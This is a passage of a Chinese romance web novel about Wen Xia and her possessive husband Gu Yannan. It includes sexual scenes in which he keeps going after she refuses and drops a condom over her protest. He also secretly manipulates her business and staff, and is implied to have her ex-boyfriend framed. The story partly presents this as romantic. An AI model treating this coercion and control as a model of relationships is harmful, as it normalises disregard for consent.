高行舟真的挺忙,和温夏一起走出写字楼,拦了辆出租车就走了。
温夏看着他的背影,脑子里涌入一些大学的片段,不过转身即逝,她踩着高跟鞋往停车坪走。
顾衍南今晚不回来,她要一个人遛言言。
-
到家后,张婶得知顾衍南今晚不回来,唠叨了句:“怎么又不回来啊。”
“这几天比较忙。”
“哎,亏我做了他爱吃的烧鹅呢。”
温夏笑笑:“我也爱吃您做的烧鹅。”
张婶被她哄笑了,把烧鹅推到她面前。
少夫人性子比较冷,虽然一直以微笑示人,但张婶看得出那只是礼貌性的微笑。
不过这一年多,少夫人和少爷的感情越来越好,少夫人脸上的笑容也多了不少。
张婶由衷为他们感到开心。
饭后,温夏在小区里遛狗,回去的路上偶遇到熟人——顾衍南的朋友沈青砚、他花了三年追回来的妻子许婧、还有他们的女儿许念念。
路灯下,许念念的两只小手分别握着爸爸妈妈的大手,小胳膊撑着荡秋千,光看着就觉得很美好。
“言言,好久不见。”许念念松开爸爸妈妈的手,跑到温夏跟前去和言言玩,抬头问了句,“夏夏阿姨,顾叔叔呢?”
温夏:“他在加班。”
许念念皱起小眉毛:“顾叔叔好可怜,这么晚还要加班。”
温夏笑了笑。
寒暄几句,温夏牵着狗回家。
身后,许婧推了下沈青砚的胳膊,“你干嘛啊,拍人家干什么?”多不礼貌。
沈青砚挑眉:“吃醋?”
“……”许婧无语地看着他,“你如果真有这个心思,顾衍南会打死你的。”
沈青砚眯了眯眸,轻哂:“他谢谢我还来不及。”
沈青砚作为过来人,深知不能让女人习惯一个人做一件事,这样以后她都会一个人做了,久而久之的,那还得了。
倒不是他多闲得慌,想掺和顾衍南的破事,而是顾衍南是忠诚的现代陪葬制度拥护者,他如果感情不顺,一定会让身边所有人的感情都不顺,他才能舒心。
上次顾衍南跟温夏吵架,一个人遛狗,撞上他们一家三口,他就随口调侃了句“温夏没来啊”,顾衍南突然来了句“我今天上午遇见你那个前女友了”,然后许婧一晚上都没给他好脸色。
谁叫他最倒霉,跟顾衍南住一个小区呢,饭后散个步都能撞上枪口。
正要把温夏孤零零一个人遛狗的落寞背影发给顾衍南,正在蹦格子的许念念突然扑通一摔,沈青砚脸色一变,快步走过去,语气中满满的心疼:“疼不疼宝贝?”
-
沈青砚的短信没发出去,另一条短信进了顾衍南的手机。
点开,看清里面的内容,目光陡然一沉。
“怎么了Winston”坐在他身侧的徐茵察觉到他不对劲,倾身凑过来,问道。
顾衍南皱了皱眉,往后靠了点:“有点事。”
徐茵一愣,主动道:“那你先走吧,我应付的过来。”
“嗯,”顾衍南拿起手机,淡淡道,“出什么事给我打电话。”
徐茵没想到他真走,怔了怔,点头:“哦,好。”
走之前,他说了几句场面话,还颇给面子地喝了杯酒,没人拦他,当然,也没人敢拦。
一走出包厢,脸色瞬间沉下来,他眯起眼,也不管对面的人醒没醒,拨通一个越洋电话。
-
温夏是被顾衍南吻醒的。
迷迷糊糊中,她先是感觉到有个很沉重的东西压在她身上,压得她快要喘不过气,然后没一会儿,她真的喘不过气了。
她的嘴巴被死死堵住。
“唔唔……”
怎么了?被下药了吗?
她又不是不陪他做,至于一上来就吻得她喘不过气吗?
温夏本能推搡掠夺她呼吸的人,然而,这一反抗让脸色本就寒凉的男人直接冷到冰点,他一把扣住她的双臂按到头上,双腿抵开她的膝盖,另一只手扣着她的下巴,更深更重地吻下来。
亲就亲吧,亲够他就去洗澡了。
温夏倒也没再反抗,任由他肆虐她的嘴巴。
忽然,她呼吸一顿——
也许是嘴巴被堵住,嗅觉更加灵敏,浓烈的酒味中,她闻到一股浅淡的香水味。
前些天也闻到过。
温夏艰难地睁开眼,嗓子还有点被吵醒的沙哑:“我今天有点累了,不想做。”
身上的人动作一顿,低头,静静地看着她。
卧室里只有一盏小夜灯开着,光线本就昏暗,衬得他神情愈发晦暗如深。
几秒后,他继续吻她的唇,嗓音低哑:“只做一次。”
温夏的手抵在他的肩膀上,“我今晚想早点睡,不想做。”
顾衍南淡淡地道:“你睡你的,我做我的。”
说着,他去扯她的吊带,俨然要把这场爱进行到底。
温夏不知道他今晚发的什么疯,但她确实没有心情,加上正睡着被吵醒,语气有些冲:“顾衍南,你别太过分。”
话落,顾衍南停了下来,居高临下地俯视她,唇角勾了勾,轻笑了声:“我在我自己的床上跟我自己的老婆做个爱,也能叫过分?”
温夏深吸一口气,不想跟他吵:“我说了,我今晚没心情,你想做的话我明天陪你。”
“没心情?”他重复她的话,在温夏看不清的地方,他的脸色已经阴沉幽暗到令人胆寒。
“是,没心情。”温夏推他的手。
手腕却被他反手抓住,他眉宇间掠过一丝狠戾,嗓音含笑,笑中却勾着丝丝缕缕的危险。
他眯起眼,紧紧盯着她:“怎么?是碰到什么人,还是回忆起什么事,连你最爱做的事都没心情了?”
第33章 “顾太太,我们生个孩子……
这一刻, 温夏的大脑头皮有一瞬发麻,她睁大眼睛,试图从顾衍南的神情中看出什么。
但究竟想要看出什么, 她自己也不清楚。
脑海里有个荒唐的念头一闪而过——
他不会找人监视她吧?不然忽然问这种话是什么意思?他没那么变态吧?
温夏敛下眸, 看着他的眼睛:“为什么这么问?”
顾衍南似笑非笑:“怎么?难道真遇上什么人了?让你连跟我做的心情都没了。”
温夏抿紧唇,跳过这个话题:“你要做的话先去洗澡,你身上很难闻。”
偶遇高行舟的事,她并不是故意隐瞒,而是觉得没有告诉他的必要,当年他们就没什么,更何况已经过了这么多年, 她接受邀约纯粹因为高行舟想要感谢她,而她吃完饭就能把这事彻底了断了。
而顾衍南……这一年多里,温夏见识到了他的控制欲到底有多强,当初林沨的事, 她生了好久的气。
当年, 海南度假村项目需要派驻一个副经理, 她正纠结该派谁去,林沨主动请缨,想要调去海南。按理说, 他的资历太浅,不足以担此重任,但他的个人能力又完美补足这一点,再加上这个项目一开始就是他负责的, 温夏思来想去,还是让他去了。
原本她以为是林沨想要历练,才会主动要去那么远的地方, 后来她去海南出差,醉酒后林沨说漏嘴,说是顾衍南“劝”他来的海南。
用的是“劝”字,但谁都知道是威逼利诱。
她当时觉得荒唐,他为什么插手她秘书办的人事变动,一个电话打了过去,他听后没否认,轻描淡写道:“我觉得你还是用女助理比较方便。”
各种各样的原因,同性办公确实比较方便,温夏对这一点是认同的,但不代表他可以直接插手,她质问,他仍是那副很淡的语气:“这样不好吗?他不想和齐二联姻,待在你手底下做个小助理什么时候能有资本对抗齐家和林家?他个人能力还算可以,海南副经理的位置更适合他。你也可以选一个工作能力更强的女助理,如果你暂时找不到,我可以帮你引荐。”
温夏被他怼得哑口无言:“所以我是不是还得谢谢你为他、为我考虑?”
“不用谢。”
“……”
这其实算不上太大的事,但温夏就是觉得不舒服,仿佛……他只要看不顺眼她身边的任何人,就能用他自认为合理的理由不动声色地把人剔除,而如果不是林沨说漏嘴,她不会知道,就这样被蒙在鼓里。
这次是林沨,那下次呢?
是不是只要他看不顺眼,他就会出手把人赶走?
太荒唐了。
温夏有种背后生寒的感觉,她和林沨什么私人感情都没有,仅仅是因为林沨是她的助理,他就能把人逼走,更别提和她传过绯闻的高行舟。
多一事不如少一事,吃完这顿饭,估计以后很难再见面了,她不想给高行舟带来麻烦。
“是挺难闻。”顾衍南嗅了嗅衣服上的味道,有烟味、酒味、还有香水味,混在一起,确实难闻。
温夏推他一把,“你去洗澡,洗完再做。”
顾衍南一瞬不瞬地盯着她,眼眸漆黑晦暗,浓稠得让人看不清他眸底的真实情绪。
明明只是寻常的对视,温夏心口猛跳,面对他的眼神,有一瞬的想要躲闪。
但她没躲,不明所以地问:“怎么了?”
“没事,”顾衍南收回视线,从她身上起来,“我去洗澡。”
随着他起身,身上那股强势的压迫感慢慢散去,被他大晚上的这一折腾,睡是睡不着了。温夏翻了个身,听着浴室门关上的声音,想起林沨那事后,她生气,让他不能再随意插手她工作上的事,他当时的态度。
最初,他并没有觉得自己做错,是真的不觉得,他还分析林沨和她两人分别从这事上得到的益处,她差点都要被他的诡辩逻辑说服了,好似他是全心全意为她着想的大好人。
后来见她真的生气了,他才做出示弱的姿态,但温夏明白,他并不觉得自己做错了,如果重来一次,他还会这么做。
还有裴霖那件事——温夏从明央那里得知当时顾衍南封杀裴霖并不是因为林曦,而是明央寄给他几张照片,照片里她盯着裴霖的眼睛看,光看照片,真有几分含情脉脉。
那事她有错,她不该直勾勾地盯着个小男孩看,但这也不是他随意封杀裴霖的理由吧?
包括后续,因为她跟他撕破脸,他对梁从音公司做的事。
这几件事串起来,温夏心里忍不住发颤,脑子里不受控制地去想——
如果有一天,她做了让他看不顺眼的事,他会把这些狠戾无情的手段都用到她身上吗?
念头一出,几乎是本能肯定。
当初他出手对付梁从音公司,不就是为了逼她妥协吗?
温夏闭了闭眼,试图把这些想法抛开,她不想因为莫须有的事情怀疑他,影响他们本就不算多牢固的感情。
她一直都是个极度现实主义的人,对这一年多的生活大体是满意的,只要他不做出让她无法忍受的事,就这样吧,就这样过下去吧。
她对现在的生活大体满意,如果强行改变,牵一发而动全身,她不是小孩子,清楚地知道他们的关系有大的变动会有什么后果。
她大多时间是理智的,多重因素作用下,她选择让她更舒心的生活态度。
顾衍南洗完澡回来,身上只有沐浴乳的香气和清冽的水气,很好闻,温夏这次没有推拒。
只是……
她推他的脑袋。
顾衍南喉结滚动吞咽,哑声:“继续,免得你再说没心情。”
没心情,她居然敢说没心情,眼前浮现几张碍眼的照片,顾衍南的脸色沉了下来,喉结上下滚动。
威廉那个成事不足败事有余的蠢货,就交给他这一件事都办不成,让高行舟回国,还和她见面,出来碍他的眼。
高、行、舟、
想到这个名字,顾衍南在心底冷笑,十多年前,看到他跟她接吻的那一瞬间,他就该把人弄死,以绝后患。
但他没有,因为他没有立场和理由。
他们只是玩玩,她一开始就说得很清楚,只是玩玩,他最初确实也是抱着这样的态度。
后来,她要开学,提出断了吧,他有一瞬间,脑子里冒出挽留的想法,但他凭什么要主动开这个口,显得他好像玩不起一样。
正值开学,他去美国冷静大半个月,借着霍瑾深生日回国,不知不觉走到她的学校,然后就看到她在和一个男人接吻,那一刻,他只想把那男的弄死,再把她带回他们的套房狠狠折腾。
但他没有,因为这样太跌份了。
等到两人分开,她看到他,却对他视而不见,擦肩而过时,他没忍住,还是喊住她,她说他玩不起,语气中透着“我以为你明白游戏规则”的无奈困扰。
她太洒脱了,衬得他很不体面,他不愿承认自己短短四十多天被她玩了进去,被一个仅仅抱着玩玩心态的女人玩弄,所以他走了,也打消了弄死高行舟的念头——
高行舟算什么东西,不配让他脏了自己的手。
他什么都不会做,也什么都不用做,她用不了多久就会发现那小白脸是个废物,跟他根本没法比。
他等着她后悔。
少年意气,他那时候不觉得这短暂的一段能对他的未来造成多大的影响。
时间和距离,会冲淡一切。
后来。
如果不是温家出事,霍瑾深自作主张,他绝不会这么轻易就同意她嫁给他。
再次见到高行舟是在他们的婚礼上,他几乎一眼认出这个阴魂不散的小白脸,她居然邀请前男友来他们的婚礼,是想得到前男友的祝福,还是在幻想中把他的脸那成那个野男人的?
婚礼过后,他出国冷静了一个多月,又一次打消弄死高行舟的念头,还是同样的理由——她嫁给他只是为了利益,他凭什么要为了这样的她,脏自己的手。
兜兜转转,这人居然又出现在她的生活中,事不过三,如果说前两次,他还有放过她的可能性,自从她那天去而复返,这代表她亲手把最后的可能性扼杀。
他们这辈子都要绑在一起。
既然如此,破坏他们婚姻的恶劣因子,应该被消除。
他只是在维护他的家庭。
他觉得他们现在的状态很好,每天吵吵闹闹,晚上一起去遛狗……顾衍南的脑子里突然掠过一个念头,如果有个孩子就更好了。
沈青砚都有女儿,他也要有。
生一个宝宝,宝宝和小蠢狗一起长大。
还有什么比孩子更牢固的羁绊?
顾衍南眯了眯眼,喉结上下滚动。
良久,他抬起头,薄唇湿润潋滟,给他这张清绝俊美的脸染上一抹艳色。
温夏重重喘息,睫毛被生理性的眼泪浸湿。
他从身后抱住她,胸膛坚硬滚烫,轻轻舔舐她眼角的泪水,声音哑得不行:“有心情了吗?”
温夏咬他的手臂,却被坚硬的肌肉咯到牙疼,她语气愤愤道:“混蛋。”
顾衍南低笑了声,手掌按下她的后脑:“。”
温夏死死地咬着唇。
顾衍南轻轻含住她的耳垂,在她耳边低喃:“你的员工们都知道吗,他们眼中清冷端庄的温副总,会是这幅样子?”
“顾衍南……”温夏羞愤地瞪他,全身的肌肤都泛着粉。
他却得寸进尺,在她耳边说个不停,哪怕温夏听过无数次,仍是羞耻难耐,他却丝毫不觉得脸红,她越羞耻,他说得越起劲。
温夏实在受不了了,搂着他的脖子,堵住他的唇。
顾衍南扶着她的后颈,语调依旧不紧不慢:“现在有心情了吗?”
“……”
一句没心情他是要记多久!
“嗯!”为了防止他再说什么不堪入耳的话,温夏主动追着去咬他的下巴。
顾衍南看着她主动亲他,唇角溢出满意的弧度。
更紧地扣着她的腰,另一只手掐着她的下巴深吻,薄唇贴着她的唇瓣,唇齿交缠。
不知道过了多久,温夏突然察觉到有什么不对劲——
脸色突变,她手忙脚乱地要下来:“你……?”
他扣着她的腰,语气很平淡:“嗯。”
温夏头皮一阵发麻,使出全身的力气推他,却被他反手控制住腰,她被牢牢禁锢在他怀里。
他居高临下地看着她,语调轻描淡写,却难掩话中的强势,像是不容置哙的命令。
“顾太太,我们生个孩子吧。”
第34章 希望他不会让她失望
温夏试图从他的眼神中看出一丝戏谑的意味, 但是没有——
昏黄的光线中,她对上他漆黑深沉的眼睛,那眼神中的情绪依旧很复杂, 但温夏能看得出, 他是认真的。
“你……你想要孩子?”温夏喃喃道。
顾衍南微微眯眼,眸底闪过一丝晦暗,但他仍是说:“我们都快三十岁了,这个年纪生个孩子,不是很正常吗?”
“每次回老宅,老爷子都要催,再不生的话, 江肆和眠眠就要生孩子了,难道要我们的宝宝以后叫他们的孩子哥哥姐姐?”
在顾家老宅的饭桌上,催生是持久不变的话题。也不怪顾老爷子心急,顾衍南快三十岁, 阮眠也已经二十六岁了, 但每次提到孩子的话题, 兄妹二人一致敷衍。
阮眠和江肆的理由是,两人分开多年,还没过够二人世界, 不想生个孩子来打扰他们,过两年再考虑孩子的事。
而顾衍南和温夏,他们之前从没提过孩子的话题,因为彼此心知肚明, 他们之间的感情还没稳固到能要孩子的地步。
温夏不知道顾衍南今晚突然提到孩子是因为什么,但这个话题让她的心情变得沉重、还有一丝慌乱,与此同时, 衍生出一种莫名的倾诉欲。她抿了抿唇,问道:“你喜欢孩子吗?”
顾衍南低眸,他还在里面,温夏坐在他身上,两人以这种奇怪的姿势静静看着对方。
几秒后,顾衍南喉结滚了滚,嗓音低哑:“我会给我们的宝宝最好的,我会做一个合格的父亲。”
温夏丝毫不怀疑他的责任心,放到原始动物世界,他绝对是领地意识很强的雄兽,被他圈在领地内的所有动物,都必须由他控制、服从他的命令,同时,他也会尽最大的可能保护他们。
当初他们刚结婚,她不知道自己之于他是什么,或许他也不是那么的清楚,但她顶着“顾太太”的头衔,他理所当然地在她被人欺辱时维护她,因为在他的概念里,她是“他的人”。
无关情感,是一种天然的圈地意识。
与他相比,温夏实在不是个有责任心的人,她很少与人产生羁绊,是因为羁绊会带来责任,羁绊越深责任越大,而她排斥身上背着沉重的包裹,这让她没法随时抽身,逃到那个只有她一个人的世界。
她目前为止,所有的责任都是“不得不”,温砚和温诗,血缘关系使然,他们给她毫无保留的关心和爱护,还有梁从音和祁源,他们曾在她最困难的时候施以援手,无论是情感上还是实际帮助,所以她需要回馈同样的责任,这很公平。
但这些能称得上“亲密关系”的关系,都是对方先“动的手”,而生孩子,这代表她需要第一次主动去缔造一个可能会束缚她一生的责任,她无法再随心所欲抽身,她会受到孩子的“挟持”。
这种想法,无异于与她信奉近三十年的人生准则背道而驰,这将会是一段她不能来去自如的关系,这种崭新的模式,让温夏有一瞬的恐慌,但更让她恐慌的是,她的第一想法并不是她以为的排斥,而是担忧——她担心自己无法胜任,做一个合格的母亲。
她想到了黎女士,黎女士在年初和丈夫离婚,分了对方近一半的财产,回到北城后,她们偶遇过几次,会点头寒暄,黎女士会说“有时间一起吃饭”,她随口应下,尽管她心里清楚,黎女士不会“有时间”,她也不需要她的时间。
她会把她和她的孩子的关系,处成她和黎女士这样吗?她会有一天觉得,她的孩子是负担,是沉重的包裹,是压得她喘不过气巨石,只有逃离才能呼吸顺畅吗?
而她的孩子呢,会把她当成陌生人吗?
温夏呼吸微窒,低头看着顾衍南的眼睛,他一直在盯着她,在等她的回答。
她的喉咙微微发涩,本能地想要拒绝,可是看着这双漆黑的眼睛,她的脑子里浮现出沈青砚一家三口一起散步的画面,她不得不承认,她觉得那样的画面……很美好。
美好到她也想要,哪怕付出很大的代价。
这一刻,脑子里有一个想法越来越清晰,清晰得让她感到无比恐惧,在感情上,她是个彻头彻尾的懦夫,一点的风吹草动足以让她退缩,最初,她是抱着“了断”的想法放纵自己投入,她以为她的理智能像以往数次一样保护她,但这一年多的时间,最初的想法一步步被蚕食,等她反应过来的时候,已经不受控制了。
怎么办?她该怎么办?温夏感觉到她的大脑里有两种对抗的意识在撕扯,一个冷眼看她,告诉她必须及时抽身,另一个用嘲讽的语气问她,是想未来的几十年,重复过去那十年枯燥无趣的日子吗?
温夏闭了下眼,她不知道该怎么办,但直觉告诉她,她不想听从第一个选择,可现在的她还没有勇气选第二个。
这个话题太突然了,她需要时间消化,于是温夏决定把这个选择权交给做好准备的自己。
“我相信你。”她说。
顾衍南仍是盯着她,沉默不语。
温夏看着他,轻声说:“再等等吧,等我三十岁,再考虑这件事,好吗?”
距离她三十岁,还有小半年的时间,如果他们的感情能更加稳固,那时候她一定会有更多的信心和勇气。
她的脑海里不自觉浮现顾衍南、她、宝宝、还有言言,一家四口的画面。
他们的家庭成员,比沈青砚的一家三口要多一个。
见他不出声,温夏晃了晃他的胳膊,声音不自觉染上几分撒娇的意味:“就这么决定了,等我三十岁再说。”
她这幅娇蛮的模样,让顾衍南胸口的躁郁散了些,以往从未提过孩子的话题,一是他清楚他们的感情并不稳固,二是他不想他的孩子会重复他的童年。
他对父母的印象几乎没有,听家里的佣人说,他的父母总是在吵架,每隔几天就要闹上一回,父亲意外去世,母亲把他扔给爷爷远走他乡。
他不知道他的父母之间是否有感情,他是否只是两个家族利益联结的必要产物,他问过爷爷,爷爷对往事闭口不提,只说他的父母深爱着彼此。
真爱假爱无人得知,但要他自己选,他不会想要一对总是在争吵的父母。
理智回笼,顾衍南嗯了一声:“好,我给你时间。”
他也需要时间,将所有可能会影响到她想法的因素处理掉,然后用这半年的时间让她喜欢上他,甚至……爱上他。
他们的宝宝,会出生在和谐温馨的家庭里。
得到他的承诺,温夏松了口气,红着脸去推他:“那你还不出去!”
顾衍南箍紧她的腰,轻啄她的唇:“再待一会,你这两天是安全期。”
“那也不行。”温夏从他身上下来,她听说很多孩子都是在所谓的安全期不做措施怀上的。
顾衍南强势制止她的动作,唇贴着她的,“再待一分钟。”
“不——”
刚出个字音,唇被他堵住。
顾衍南哑声道:“不许说不,我讨厌你对我说不。”
他的动作和气息,还有他的吻,无一不彰显着强势和霸道,将她困在方寸之地,只能任由他停留。
每当这时,温夏总会觉得无力,让她觉得自己弱小到只能被他拆吃入腹。
不过他还算信守承诺,一分钟后,出去,戴上后,继续去做没做完的事。
-
虽然只待了很短的时间,但温夏还是有点担忧,好在第二天一早她的生理期就来了,让她心底长舒一口气。
昨晚,她其实很担心他会按照他以往强势的作风逼她立刻做出决定,甚至是逼迫她同意,但他没有,这让温夏对他们的感情多了一分信心。
这一年多,不止她的想法变了,他也在变,他们会变得慢慢契合,感情也会越来越深厚,嗯,一定会的。
自从昨晚想通后,很多事她都不再纠结,她生平第一次这么信任一个人,希望他不会让她失望。
对固步自封的她来说,信任是她能给出的最大诚意,仅此一次,因为她知道自己经不住第二次。
和高行舟的约饭因他临时有事,推迟到周六中午,高行舟是个心思很细腻的人,这么多年来都是如此,担心两人单独吃饭会给已婚的温夏造成困扰,他还喊了两个大学时两人共同的朋友。
虽说温夏不介意和他单独吃饭,但……她也不想因任何事干扰她和顾衍南的感情,这样既能把当年的事了断,也不会让她有一种莫名的“瞒着丈夫和昔日绯闻男友单独约饭”的心虚。
餐桌上聊得都是轻松的话题,温夏和另外两人也有很多年没联系,不过提起大学时期的趣事,她跟着搭几句话,气氛轻快愉悦。
“高总这几年在哪儿捡钱呢,请我们来人均四位数的日料店吃饭。”方清雅笑着调侃。
钱智远:“早知道洋人的钱这么好赚,我当初就不该回来。”
温夏也注意到,高行舟这次回来,要比去年在她婚礼前见面那次……有钱很多,无论从穿着还是气质,都能看得出他这一年的事业运不错。
高行舟谦逊地笑了笑:“哪有你想象的那么好赚,我这些年也就是个小白领,拿死工资,还完房贷车贷,口袋里不剩几毛钱了。”
钱智远:“搁我们面前还装呢。”
高行舟耸了耸肩:“真的,我是去年遇到贵人,就是我现在的老板,他特别信任我,还给了我事务所的股份,不然我还得苦哈哈地还贷款呢。”
“哇——我怎么没有这种运气。”
“就是就是!”
高行舟:“我也没想到自己的运气这么好。”
温夏为他感到高兴:“恭喜。”
高行舟温和笑道:“谢谢。”
“所以你打算在美国定居吗?”聊了一会儿,钱智远随口问。
高行舟皱了皱眉,语气有些苦恼:“我一直是这么打算的,但我这次回国,有几分动摇。本来我计划把父母接到国外,这次回来和他们商量,但他们不愿意离开故土,他们到那里语言不通,连出门买个菜都不方便,我又不可能时时刻刻陪着他们。”
钱智远表示理解:“我爸妈也是,我想把他们从老家接到北城生活,他们死活不愿意,说不自在,更何况换个国家生活。”
高行舟无奈叹息:“他们年纪已经很大了,我想,或许我是时候该回来了。”
三人在一旁聊着这个年纪的普通人最常见的困扰,温夏安静听着,咬着柠檬水的吸管。
这些离她的生活太远,无论是升职还是父母的赡养问题。
一直到吃完饭,钱智远和方清雅敏锐察觉到高行舟有话要对温夏说,找了个借口先行离开。
饭桌上只剩下他们俩。
高行舟笑容温和:“感谢的话我就不多说了,再听你耳朵都要起茧子了,不过还是谢谢你愿意来,了了我压在胸口的一件心事。”
温夏笑:“别把我说得这么不近人情。”
高行舟看着她,认真道:“你只是看着冷淡,其实比绝大多数人都要心善。”
温夏垂眸,笑而不语。
高行舟没再多说什么,他们现在的生活早就没什么交集了,不知道这一生还有没有“下次见”。
现在的她,高贵、优雅、仿佛永远不会被世俗困扰,那双眼睛永远清高明亮。
当年便是如此,他在她面前从未停止过自卑,哪怕他是唯一一个她愿意接受追求的人。
去年找到她,听说她要结婚,他提出想参加她的婚礼,不外乎是想看看到底什么样的男人才能配得上她。
看到那个男人的那刻,他释怀了。
大概只有那样的男人才能配得上她,而他,不过是一个她连长相都快要忘记的故人。
明月怎么可能独照凡人,能与它一并提起的,只有同样高悬的太阳。
简单聊了几句,高行舟主动说:“时间不早了,我们走吧。”
他说的是真心话,她只是看着冷淡,实际上很为对方考虑,顾全对方的颜面,不会让对方难堪。
温夏拿起包:“走吧。”
他们在路边分离,温夏指了指自己的车,“我先走了,再见。”
“再见。”高行舟维持温和的笑。
温夏点点头,朝自己的车走去。
高行舟静静地看着那道纤细清冷的背影,直至她的车消失在视线尽头。
他转过身,朝另一个方向走去。
-
这顿饭对温夏来说,并没有留下什么印象,她本就是个不喜欢把精力花费在不重要的人和事上的性格,很快便忘记了。
她还要把精力用在给顾衍南准备生日礼物上。
思来想去,她最终采用梁从音的建议,亲手给顾衍南画了一幅油画。
她画过他无数次,这对她来说是件很简单的事,但或许这是第一次需要拿给当事人看,所以她画的格外认真,足足耗费七天才完成让她满意的画作。
她把画藏了起来,打算等他生日给他一个惊喜。
顾衍南生日前一天,她处理一整天的工作,她要把明天一整天的时间空出来给他过生日,只能今天加班加点。
快下班的时间点,她接到一通电话,看到备注,她有些意外,方清雅怎么会给她打电话?
那天吃饭,出于礼貌,他们互相交换了电话,方清雅并不是鲁莽的人,找她肯定有正事。
温夏靠在椅子上,接通:“怎么了,清雅?”
“抱歉,温夏,我不想麻烦你,但这事只有你能帮忙。”
“怎么了?”
方清雅深吸一口气,沉声:“高行舟被检察院以贷款诈骗罪抓走了。”
第35章 眼前的这个人有多恐怖
温夏的脸色一变, 毫无缘由的,脑子里浮现一张熟悉的脸,她为自己的想法怔了一瞬, 立刻晃了晃脑袋, 把不该有的念头甩出去。
她起身,朝落地窗走去:“你冷静点,慢慢说。”
方清雅深吸一口气:“上次咱们一起吃饭的时候他不是说有可能留在国内生活么,之后他托我帮忙留意相关的岗位,我前两天遇到个合适的,就给他打电话,但是他没接, 昨天又打了一遍电话还是没接。老高他不是不接电话的人,我想会不会出事了,就让钱智远帮忙打听,果然出事了!”
“江城检察院那边的人说, 他涉嫌和骗贷公司通谋, 出示虚假的审计报告, 骗取银行贷款二十七亿!如果判刑的话,得判多少年啊!”
温夏微微眯眼,看着车水马龙的公路, “是近两年的事吗?”
“对,是去年的,”方清雅长叹,“虽然过去这么多年了, 但我不相信老高会做犯罪的事。”
“我也不相信他会这么做,”温夏道,“这事我会去查, 有情况联系你。”
挂断电话,温夏闭了下眼,想到那天吃饭时高行舟说自己去年遇到了贵人,到底是被人设局背锅,还是愿打愿挨。
她不是不谙世事的小孩子,见惯了利欲熏心,但她不愿以恶意揣测年少时期那个温和体贴的朋友。
江城检察院……她在江城没什么认识的人,温夏拿着手机去温砚的办公室,让他帮忙查。
一进门,温砚表情凝重,没等温夏开口,他缓声道:“我正好有事找你。”
他的语气严肃,温夏不自觉紧张起来:“怎么了?”
“我记得你跟我说,南湾那个项目最大的投资人是你朋友,姓沈。”
温夏微愣:“对。”
南湾项目是温夏继海南度假村项目后投资的第二个总体量超百亿的项目,沈琴舒是她读研时认识的朋友,家境优越,一次招标会上,两人相遇,温夏得知沈琴舒正在做的南湾项目想要拉合伙人,她让市场部评估风险和收益,还咨询顾衍南的意见,斟酌许久才决定入伙的。
后续项目的进展很顺利,不出意外,再过一年就能正式投入运营了,前景肉眼可见得好。
“项目出事了吗?”温夏问。
温砚眯起眼,扯了扯唇:“没出事,好得很,就是发现了点新鲜的东西。”
他递给温夏一叠厚厚的文件:“你自己看吧。”
温夏的睫毛不受控制地颤抖,密密麻麻的黑色字体让她眼花缭乱,温砚提醒,“往下看,最下面一行。”
视线向下,看到“顾衍南”三个字,她的呼吸一窒。
“我前两天去南城出差,偶遇这位沈总,一起应酬的人说,她在家族并不受重视,不可能几十个亿说拿就拿,我就叫人去查了查她公司背后的资金来源,拐了好几个弯才查到他——”温砚的语气沉了沉,“他如果想跟温氏合作,直接找我谈不就行了,借着别人的手是什么意思?”
温夏指尖颤抖,无数画面涌入脑海,她的大脑变得特别乱,她想到她当时犹豫要不要投资南湾项目,他虽然没有直接表态,但话里话外都在引导她投钱。
他不会想要骗她的钱,毕竟他最不缺的就是钱,那他瞒着她这么做是为了什么?
是为了……控制她吗?项目进展到一半,如果他撤资,温氏投的钱全都打水漂了,顾氏能玩得起,但目前的温氏赔不起。
如果不是大哥出差意外发现,这件事她说不定这辈子都不会发现,这不是什么大不了的事,毕竟他是给她喂钱,又不是坑她的钱,可是温夏的手指止不住发颤,忍不住去想,如果有朝一日他要对她做点什么,她是不是也会像现在一样,什么也不知道。
这件事,他瞒得这么好,滴水不漏,如果是别的事呢?他要是在外面养了情妇,也可以瞒得滴水不漏,而她还以为他们的感情足够稳固,稳固到可以生个宝宝。
温夏握着手机,手指越收越紧,直至关节泛白,指尖陷入软肉里,刺痛让她慢慢平复下来。
她不应该轻易怀疑他,他们之间的信任建立起来太不容易,她不能问都不问就给他定罪判刑。
也许,他有他不得不说的理由。
她应该给他解释的机会。
温夏冷静下来,看向温砚:“这事我会问他,大哥,你帮我查查我朋友的事吧。”
温砚听着她平静的语气,欲言又止:“好。”
-
回家的路上,温夏接到顾衍南的电话,他今晚临时有应酬,不回去吃晚饭了。
也许是车内太安静,她听到电话那头有女人的声音,心中恍然升起一股无力的疲倦感,她嗯了声:“少喝点酒。”
“嗯,我尽早回去。”
电话挂断,她盯着手机屏幕看了几秒,被后车“滴滴”的催促声拉回思绪,踩下油门。
回到家,她走流程般吃完晚饭,只是没什么胃口,吃了几口就放下筷子。然后去遛言言,又一次偶遇沈青砚一家三口,这次他们没注意到她,她看着路灯下越拉越长的背影,直到消失在视线尽头。
夜风徐徐,她在公园的木椅上坐下,打开手机,看到温诗给她发的短信。
[姐!我回北城了!这次可以休息半个月呢,你什么时候来陪我玩几天?]
[来嘛来嘛,大哥每天除了工作还是工作,我一跟他聊天他就唠叨我,姐你回来住两天吧。]
温砚出狱后,搬回从小住的家,温诗大部分时间都在拍戏,回北城也会住在那里。
温夏却很少回,一是那栋房子会让她想起很多不开心的事,二是每次她回去,顾衍南也要跟去,而温诗和顾衍南互相不怎么能看顺眼。
这一年多里,温夏和顾衍南的感情升温,温诗也不再像最开始一样抵触顾衍南,但对他仍是不喜的——她好不容易才回一次北城,想跟自己的亲姐姐彻夜长谈不是很正常的要求吗?他每天都和姐姐一起睡觉,把姐姐让给她几天怎么了?至于每半小时就来敲门吗?
而顾衍南看不顺眼温诗,是觉得她就是个巨婴,偏偏温夏每每都会选择陪她的巨婴妹妹。
明明他更需要她陪。
温夏夹在两人中间很是为难,后来就很少回去,白天陪温诗逛街,晚上回家陪顾衍南。
她看着手机屏幕,几秒后,回复:[好,我这两天回去。]
温诗秒回:[太好了!姐你记得把言言也带来!]顾衍南就别带来了。
温夏:[嗯。]
又聊了几句,温夏收回手机,牵着狗回家。
顾衍南晚上十一点多才回来,他进来时,温夏正低头看书,但她一个字都没看进去。
“怎么还不睡?”顾衍南看着她恬静的脸,低声问。
温夏从书中抬头。
他穿着矜贵优雅的黑衬衫,举手投足间皆是贵气,黑色西裤包裹下的双腿修长笔直,行走的模特架子。
只是工作一天,衬衫不如早上那般一丝不苟,有轻微褶皱,估计是嫌不舒服,早上她亲手系的领带已经解掉了,不知道被他扔去哪里。
她把书页合上,开口轻轻问道:“我和沈琴舒合作的南湾项目的实际投资人,是你吗?”
